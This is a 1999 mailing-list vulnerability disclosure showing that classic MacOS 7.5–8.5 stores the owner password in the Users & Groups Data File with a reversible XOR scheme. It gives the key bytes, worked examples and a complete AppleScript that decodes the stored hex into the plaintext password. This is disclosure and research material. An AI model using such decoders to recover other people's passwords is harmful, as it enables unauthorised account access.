MacOS system encryption algorithm

From: Dawid adix Adamski (adixxat_private)
Date: Sat Jul 10 1999 - 06:28:17 PDT

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    The encryption algorithm in MacOS system is simple and the password can be
    easily decoded.
    
    Password is stored in Users & Groups Data File in Preferences folder. Offset
    is different on each system and depends on Users & Groups configuration, but
    it always lie after owner's username. It's not so difficult to find it using
    hex editor, even if we don't know owner's username.
    
    Here are some examples of encrypted passwords:
    00 04 06 18 0D 0A 19 0B = stayaway
    0A 1F 10 1B 00 07 75 1E = yellow
    1C 1B 16 14 12 62 10 7B = owner
    07 02 13 1A 1E 0F 1A 14 = turnpage
    27 25 33 27 27 39 24 7E = Trustno1
    
    AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh
    
    where:
    AA BB CC DD EE FF GG HH - encrypted password (hex)
    aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex)
    
    aa=AA XOR 73H
    bb=BB XOR AA XOR 70H
    cc=CC XOR BB XOR 63H
    dd=DD XOR CC XOR 67H
    ee=EE XOR DD XOR 74H
    ff=FF XOR EE XOR 70H
    gg=GG XOR FF XOR 72H
    hh=HH XOR GG XOR 6BH
    
    An example:
    Let's take OO 04 06 18 0D 0A 19 0B
    
    00H XOR 73H = 73H = s
    04H XOR 00H = 04H; 04H XOR 70H = 74H = t
    06H XOR 04H = 02H; O2H XOR 63H = 61H = a
    18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y
    0DH XOR 18H = 15H; 15H XOR 74H = 61H = a
    0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w
    19H XOR 0AH = 13H; 13H XOR 72H = 61H = a
    0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y
    
    tested on:
    MacOS 7.5.3, 7.5.5, 8.1, 8.5
    
    I wrote an apple script to break passwords
    
    --------CUT HERE--------
    (*          MacOS Pass 2.1 by adix      15.06.99; Apple Script English    *)
    global lbin, bit1, bit2, bitk
    set hex1 to text returned of (display dialog "Enter encrypted password
    (hex): " default answer "" buttons {" Ok "} default button " Ok " with icon
    stop)
    set Alicia to
    "0111001101110000011000110110011101110100011100000111001001101011"
    set pass to ""
    set lbin to ""
    set razem to ""
    set i to 1
    set skok to 0
    set ile to count items in hex1
    if ile = 0 or ile = 1 then
     set pass to ""
    else
     repeat until (i > (ile - 1))
      set kodascii to 0
      set razem to ""
      set zn to items (i) thru (i + 1) in hex1
      set lbin to hex2bin(zn)
      repeat with a from 1 to 8
       set bit1 to item (a + skok) of Alicia
       xor(a)
       set razem to {razem & bitk} as string
       if i < 2 then
        set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
       end if
      end repeat
      if i < 2 then
       set pass to {pass & (ASCII character kodascii)}
      else
       set zn to items (i - 2) thru (i - 1) in hex1
       set lbin to hex2bin(zn)
       repeat with a from 1 to 8
        set bit1 to item a of razem
        xor(a)
        set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
       end repeat
       set pass to {pass & (ASCII character kodascii)}
      end if
      set skok to skok + 8
      set i to i + 2
     end repeat
    end if
    display dialog "Password:   " & pass & return & return & "by adix" buttons
    {" Ok "} default button " Ok " with icon note
    on hex2bin(zn)
     set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110",
    "0111", "1000", "1001", "1010", "1011", "1100", -
      "1101", "1110", "1111"}
     set t2hex to "0123456789ABCDEF"
     set bin to ""
     repeat with j in zn
      set t1 to j as string
      repeat with i from 1 to (count items in t2hex)
       if ((item i in t2hex) = t1) then
        set temp to (item i in temphex)
        exit repeat
       end if
      end repeat
      set bin to {bin & temp} as string
     end repeat
     return (bin)
    end hex2bin
    on xor(a)
     set bit2 to item a in lbin
     if bit1 = bit2 then
      set bitk to "0"
     else
      set bitk to "1"
     end if
    end xor
    --------CUT HERE--------
    
    Dawid adix Adamski
    adixxat_private
    



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